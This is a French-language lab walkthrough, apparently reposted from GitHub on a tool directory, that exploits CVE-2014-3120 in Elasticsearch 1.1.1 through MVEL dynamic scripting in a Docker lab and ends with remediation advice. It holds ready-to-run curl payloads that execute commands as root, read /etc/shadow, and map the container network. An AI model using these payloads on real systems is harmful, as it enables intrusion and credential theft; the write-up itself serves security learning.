Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2014-3120 — Guide de laboratoire étape par étape démontrant l'exploitation de CVE-2014-3120 contre Elasticsearch 1.1.1, couvrant l'analyse de vulnérabilité, RCE via le scripting MVEL, et la post-exploitation dans un environnement Docker. | Kitploit
Outils/GitHubGitHub/dungsocool/cve-2014-3120
Sécurité des ConteneursAnalyse des VulnérabilitésExploitationTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubdungsocool/cve-2014-3120

CVE-2014-3120

Guide de laboratoire étape par étape démontrant l'exploitation de CVE-2014-3120 contre Elasticsearch 1.1.1, couvrant l'analyse de vulnérabilité, RCE via le scripting MVEL, et la post-exploitation dans un environnement Docker.

Voir le dépôt
il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

LAB 10-CVE-2014-3120

I. ANALYSE DU SYSTÈME

Identification de la surface d'attaque depuis l'environnement Docker

En partant de ce qui est exécuté dans l'environnement. Nous listons tous les conteneurs actifs :

root@kitploit:~
docker ps

image.png

Résultat : Le conteneur p1/lab10:latest est en cours d'exécution, exposant 2 ports vers l'extérieur :

Mappage de portsProtocole
0.0.0.0:9200 → 9200/tcpHTTP (à vérifier)
0.0.0.0:9300 → 9300/tcpInconnu

Observation initiale : Les ports 9200 et 9300 sont couramment connus comme les ports par défaut d'Elasticsearch. Cependant, nous ne pouvons pas conclure uniquement sur la base des numéros de ports – de nombreux autres services peuvent se lier à n'importe quel port.

⇒ Nous utilisons curl directement sur chaque port pour vérifier quel service est réellement en cours d'exécution.

Test du port 9300

root@kitploit:~
curl -i http://192.168.3.137:9300/

image.png

Analyse de la réponse :

  • Réponse : curl: (52) Empty reply from server
  • En-tête Serveur : Aucun – le serveur ne renvoie aucune réponse HTTP

Évaluation : Le serveur a accepté la connexion TCP (pas de refus de connexion), mais n'a pas répondu en utilisant le protocole HTTP. Cela correspond au comportement du protocole Elasticsearch Transport sur le port 9300 – un protocole binaire utilisé pour la communication entre nœuds d'un cluster, pas HTTP.

⇒ État d'esprit : Le port 9300 utilise un protocole binaire → ne peut pas être exploité directement via curl/navigateur. Passer à la vérification du port 9200 – le port de l'API REST HTTP.


Test du port 9200

root@kitploit:~
curl -i http://192.168.3.137:9200/

image.png

Analyse de la réponse :

Évaluation de la surface d'attaque :

  • Confirmé qu'il s'agit d'Elasticsearch 1.1.1 – le service renvoie une réponse JSON caractéristique avec les détails complets de la version
  • Aucune authentification requise – l'API REST répond directement sans nécessiter d'identifiants
  • Elasticsearch 1.1.1 (2014) entre dans le périmètre d'impact de plusieurs CVEs critiques, notamment CVE-2014-3120 – une vulnérabilité permettant l'exécution de code arbitraire via Dynamic Scripting

image.png

⇒ État d'esprit : Elasticsearch 1.1.1 active Dynamic Scripting par défaut – permettant aux clients d'envoyer des scripts (expressions MVEL) dans les requêtes de recherche pour que le serveur les exécute. Sans bac à sable ni validation appropriée, un attaquant peut injecter un script malveillant pour exécuter des commandes système. Étape suivante : vérifier si Dynamic Scripting est effectivement actif sur la cible.

Vérifier Dynamic Scripting et le moteur MVEL

Qu'est-ce que Dynamic Scripting ?

Elasticsearch prend en charge une fonctionnalité de Scripting – permettant aux clients d'envoyer des scripts (expressions mathématiques ou logiques) dans les requêtes de recherche pour que le serveur les exécute lors du traitement des résultats. Dans Elasticsearch 1.x, le moteur par défaut pour cette fonctionnalité est MVEL (MVFLEX Expression Language) .

Problème de sécurité fondamental

Dans les versions d'Elasticsearch antérieures à 1.2, Dynamic Scripting est activé par défaut (script.disable_dynamic: false). Cela signifie :

  1. L'API REST ne nécessite pas d'authentification
  2. Les clients peuvent envoyer des scripts arbitraires via le paramètre script_fields dans l'API _search
  3. Le moteur MVEL manque d'un bac à sable suffisamment robuste – permettant l'accès à l'environnement d'exécution Java
  4. Les attaquants peuvent invoquer java.lang.Runtime.getRuntime().exec() pour exécuter des commandes système

Fonctionnement de script_fields

Lorsqu'une requête de recherche avec script_fields est envoyée, Elasticsearch va :

  1. Recevoir la requête JSON via l'API _search
  2. Analyser le champ script_fields → trouver le script à exécuter
  3. Évaluer le script à l'aide du moteur MVEL
  4. Le moteur MVEL a un accès complet à l'environnement d'exécution Java → peut invoquer n'importe quelle classe Java
  5. Renvoyer les résultats dans la réponse HTTP

Analyse du vecteur d'attaque : MVEL → Java Runtime → RCE

En Java, la manière la plus courante d'exécuter une commande système est :

root@kitploit:~
Runtime.getRuntime().exec("commande");

MVEL, en tant que langage d'expression avec accès complet aux classes Java, permet d'invoquer cela directement :

root@kitploit:~
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();

Explication de chaque partie :

⇒ État d'esprit : Avec Elasticsearch, la sortie de l'RCE est renvoyée directement dans la réponse – pas besoin de rediriger vers un fichier et de le relire. Cela rend l'exploit plus propre et plus rapide à vérifier.

II. EXPLOITATION

Confirmer que Dynamic Scripting est actif

Après avoir identifié la cible comme Elasticsearch 1.1.1, l'étape suivante consiste à vérifier si Dynamic Scripting est effectivement activé.

CVE-2014-3120 exploite le fait qu'Elasticsearch permet aux clients d'envoyer des scripts dans les requêtes _search. Si le script est exécuté par le serveur, un attaquant peut remplacer l'expression inoffensive par une charge utile qui appelle le Java Runtime pour exécuter des commandes système.

D'abord, nous créons un document de test pour garantir que la requête a au moins un résultat correspondant. Si aucun document ne correspond, script_fields ne sera pas évalué.

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
  -H 'Content-Type: application/json' \
  -d '{"name":"test"}'

Puis on rafraîchit l'index :

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'

Ensuite, nous envoyons une requête _search avec script_fields contenant une expression MVEL inoffensive :

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {
      "match_all": {}
    },
    "script_fields": {
      "test": {
        "script": "1+1"
      }
    }
  }'

image.png

Nous envoyons le script "1+1" et le serveur renvoie le résultat 2. Cela prouve qu'Elasticsearch non seulement reçoit la requête _search, mais exécute le script dynamique côté serveur.

⇒ Dynamic Scripting est actif sur la cible.

Puisque la cible est Elasticsearch 1.1.1, antérieur à 1.2, cela correspond aux conditions d'exploitation de CVE-2014-3120 : Elasticsearch avant la version 1.2 active Dynamic Scripting par défaut, permettant à un attaquant distant d'exécuter des expressions MVEL/du code Java via une requête de recherche.

Identifier le chemin vers la fonction d'exécution de commande

Nous avons vérifié que script_fields est exécuté par Elasticsearch côté serveur via l'expression inoffensive "1+1" qui renvoie [2].

Cela prouve que la cible non seulement autorise les recherches standard, mais permet également aux clients d'envoyer un script MVEL pour que le serveur l'évalue lors du traitement de _search.

Avec CVE-2014-3120, le risque critique réside dans le fait que MVEL dans Elasticsearch 1.1.1 peut accéder aux classes Java. Par conséquent, au lieu d'envoyer une expression mathématique comme "1+1", un attaquant peut envoyer un script appelant le Java Runtime :

Runtime.getRuntime().exec("commande")

Il s'agit de l'API Java standard utilisée pour créer un nouveau processus et exécuter des commandes sur le système d'exploitation.

Chaîne d'attaque

root@kitploit:~
API _search
→ script_fields
→ expression MVEL
→ Java Runtime
→ Runtime.getRuntime().exec("commande")
→ getInputStream()
→ Scanner lit stdout
→ résultat renvoyé dans la réponse JSON

Construire la charge utile RCE et l'exécuter

Charge utile RCE :

root@kitploit:~
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
  "size": 1,
  "query": {
    "filtered": {
      "query": {
        "match_all": {}
      }
    }
  },
  "script_fields": {
    "exploit": {
      "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
  }
}'

image.png

Détail de la charge utile :

Résultat :

La réponse renvoie le champ fields.exploit contenant la sortie de la commande id :

root@kitploit:~
"exploit": [
  "uid=0(root) gid=0(root) groups=0(root)\n"
]

Analyse :

La charge utile a bien invoqué Runtime.getRuntime().exec("id") via le script MVEL à l'intérieur de script_fields. Le fait que la réponse renvoie la sortie de la commande id prouve que la commande a été exécutée côté serveur.

Le résultat uid=0(root) gid=0(root) groups=0(root) indique que le processus Elasticsearch à l'intérieur du conteneur est exécuté avec les privilèges root.

Déterminer les limites de privilèges

Après avoir confirmé la RCE, les privilèges réels doivent être vérifiés en tentant de lire des fichiers sensibles :

Lecture de /etc/shadow :

root@kitploit:~
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
  "size": 1,
  "query": {
    "filtered": {
      "query": {
        "match_all": {}
      }
    }
  },
  "script_fields": {
    "shadow_test": {
      "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/shadow\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
  }
}'

image.png

Résultat observé :

La réponse renvoie le contenu du fichier /etc/shadow :

root@kitploit:~
root:*:17728:0:99999:7:::
daemon:*:17728:0:99999:7:::
bin:*:17728:0:99999:7:::
...

Analyse :

Le fichier /etc/shadow est un fichier système sensible sous Linux, généralement lisible uniquement par l'utilisateur root ou les processus disposant de privilèges équivalents. À l'étape précédente, la commande id a renvoyé :

uid=0(root) gid=0(root) groups=0(root)

Cette étape confirme davantage par le comportement réel : la charge utile RCE parvient à lire /etc/shadow.

⇒ Elasticsearch à l'intérieur du conteneur est exécuté avec les privilèges root.

⇒ L'impact ne se limite pas à une exécution de commande typique, mais il s'agit d'RCE avec privilèges root à l'intérieur du conteneur.

Remarque : Le privilège root ici fait référence à root à l'intérieur du conteneur Docker. Nous ne pouvons pas conclure que l'attaquant dispose de privilèges root sur l'hôte sans preuve que le conteneur est exécuté en mode privilégié, qu'il monte le socket Docker ou qu'il monte des volumes sensibles de l'hôte.

III. POST-EXPLOITATION

Collecte d'informations système

La RCE est confirmée. Nous procédons à la collecte d'informations système pour évaluer le périmètre.

Lister le système de fichiers racine du conteneur

Après avoir confirmé la RCE avec les privilèges root, nous exécutons la commande ls -la / via la charge utile MVEL pour observer le système de fichiers à l'intérieur de la cible :

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {"filtered": {"query": {"match_all": {}}}},
    "script_fields": {
      "rootfs": {
        "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"ls -la /\").getInputStream()).useDelimiter(\"\\\\A\").next();"
      }
    }
  }'

image.png

Résultat : La réponse renvoie le contenu du répertoire / dans le champ rootfs.

Analyse :

Le fait que la sortie de ls -la / apparaisse dans la réponse JSON prouve que la commande a été exécutée sur la cible via RCE. Des fichiers tels que docker-entrypoint.sh, le répertoire elasticsearch et le lien symbolique docker-java-home indiquent que l'environnement compromis est un conteneur exécutant Elasticsearch.

⇒ L'attaquant peut lister le système de fichiers à l'intérieur du conteneur avec les privilèges root.

Vérification réseau – potentiel de pivotement

Comme le conteneur ne dispose pas du binaire /sbin/ifconfig, nous lisons directement /proc/net/route. Ce fichier ne nécessite pas d'utilitaires externes et fournit la table de routage du conteneur.

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {"filtered": {"query": {"match_all": {}}}},
    "script_fields": {
      "route": {
        "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /proc/net/route\").getInputStream()).useDelimiter(\"\\\\A\").next();"
      }
    }
  }'

image.png

Analyse :

Les résultats montrent que le conteneur dispose de l'interface eth0 et se trouve dans le réseau Docker 172.19.0.0/16. La passerelle par défaut est 172.19.0.1.

Cela prouve que le conteneur a une connectivité réseau interne via le pont Docker. Étant donné que l'attaquant dispose déjà d'une RCE avec les privilèges root à l'intérieur du conteneur, il pourrait théoriquement procéder à inspecter d'autres hôtes/services dans le même réseau Docker si les politiques réseau le permettent.

Cependant, cette sortie prouve seulement une visibilité réseau au niveau du routage, pas un pivotement réussi. Conclure à un pivotement nécessite des preuves supplémentaires comme le scan réussi d'un autre hôte, la connexion à un service interne ou la récupération de ressources depuis un autre réseau.

IV. ÉVALUATION DES RISQUES & RECOMMANDATIONS

Évaluation des risques

Sur la base des preuves recueillies lors de l'analyse, la cible exécute Elasticsearch 1.1.1 sur le port 9200. Cette version est antérieure à 1.2, la plaçant dans le périmètre affecté par CVE-2014-3120.

La vulnérabilité provient du fait qu'Elasticsearch active Dynamic Scripting par défaut avant la version 1.2, ce qui permet aux clients de soumettre des scripts MVEL via les requêtes de recherche. Dans ce lab, cette fonctionnalité a été confirmée fonctionnelle à l'aide de l'expression inoffensive "1+1", qui a renvoyé le résultat [2].

Par la suite, la charge utile MVEL a invoqué :

root@kitploit:~
Runtime.getRuntime().exec("id")

La réponse a renvoyé :

root@kitploit:~
uid=0(root) gid=0(root) groups=0(root)

Cela prouve qu'un attaquant peut exécuter des commandes système via Elasticsearch. De plus, la charge utile a réussi à lire /etc/shadow, confirmant que le privilège d'exécution est root à l'intérieur du conteneur.

Recommandations de correction

1. Mettre à niveau Elasticsearch vers une version plus récente

Mettez à niveau Elasticsearch vers la version >= 1.2.0 (minimum) ou idéalement la version actuellement prise en charge (8.x). À partir de la version 1.2, Dynamic Scripting est désactivé par défaut.

2. Désactiver immédiatement Dynamic Scripting (si la mise à niveau n'est pas possible)

Ajoutez ce qui suit dans elasticsearch.yml :

root@kitploit:~
script.disable_dynamic: true

Redémarrez Elasticsearch après avoir effectué cette modification. Cela désactive complètement la capacité des clients à soumettre des scripts dans les requêtes de recherche.

3. Ne pas exposer l'API REST Elasticsearch à des réseaux non fiables

Elasticsearch n'a pas d'authentification par défaut dans la version 1.x. Si elle doit être exposée, placez-la derrière un proxy inverse avec authentification ou liez-la uniquement à 127.0.0.1.

Haute priorité

4. Activer l'authentification et le chiffrement

Les versions modernes d'Elasticsearch (7.x+) prennent en charge la sécurité intégrée (authentification, TLS). Si vous mettez à niveau, activez les fonctionnalités de sécurité :

root@kitploit:~
xpack.security.enabled: true
xpack.security.transport.ssl.enabled: true

5. Restreindre l'accès à l'aide d'un pare-feu

Autorisez uniquement les IP de confiance à accéder aux ports 9200 et 9300. Ne les exposez pas à Internet ou à l'ensemble du réseau interne.

6. Exécuter Elasticsearch avec un utilisateur à privilèges réduits

N'exécutez pas Elasticsearch sous l'utilisateur root. Créez un utilisateur dédié elasticsearch avec des privilèges minimaux. C'est une bonne pratique officielle :

Télécharger l’outil
ChampValeurSignification
name"Rage"Nom du nœud Elasticsearch (nom aléatoire de personnage Marvel – comportement par défaut des anciennes versions d'ES)
version.number"1.1.1"Version extrêmement ancienne – publiée en avril 2014
build_timestamp"2014-04-16T14:27:12Z"Construit en 2014
lucene_version"4.7"Lucene 4.7 – ancien moteur d'indexation
tagline"You Know, for Search"Phrase de signature caractéristique d'Elasticsearch
PartieExplication
import java.io.*Importer les classes Java IO
Runtime.getRuntime()Récupérer l'instance Java Runtime
.exec("id")Exécuter la commande shell id
.getInputStream()Récupérer le flux de sortie du processus
new Scanner(...).useDelimiter("\\A").next()Lire toute la sortie sous forme de chaîne
PartieObjectif
"size": 1Limite le résultat à 1 document
"query" → "match_all"Correspond à tous les documents (nécessite au moins 1 document existant dans l'index)
"script_fields" → "exploit"Définit un champ calculé exécutant le script MVEL
"script": "import java.io.*; ..."Expression MVEL qui exécute la commande id et renvoie la sortie
CritèreÉvaluationDétails
CVECVE-2014-3120Elasticsearch Dynamic Scripting RCE
Service affectéElasticsearchAPI REST exposée sur le port 9200
Version1.1.1Antérieure à 1.2, dans les versions affectées
AuthentificationNon requise dans le labL'API REST répond directement, aucun identifiant requis
Conditions d'exploitDynamic Scripting activéConfirmé par le script "1+1" renvoyant [2]
Privilèges obtenusroot dans le conteneurid renvoie uid=0(root)
ImpactTrès élevéRCE, lecture de fichiers sensibles, listage du système de fichiers, collecte d'informations utilisateur/réseau
PérimètreConteneurAucune preuve de compromission de l'hôte pour l'instant
PivotementPotentiel à vérifier davantageLe conteneur a une route via eth0 dans le réseau Docker 172.19.0.0/16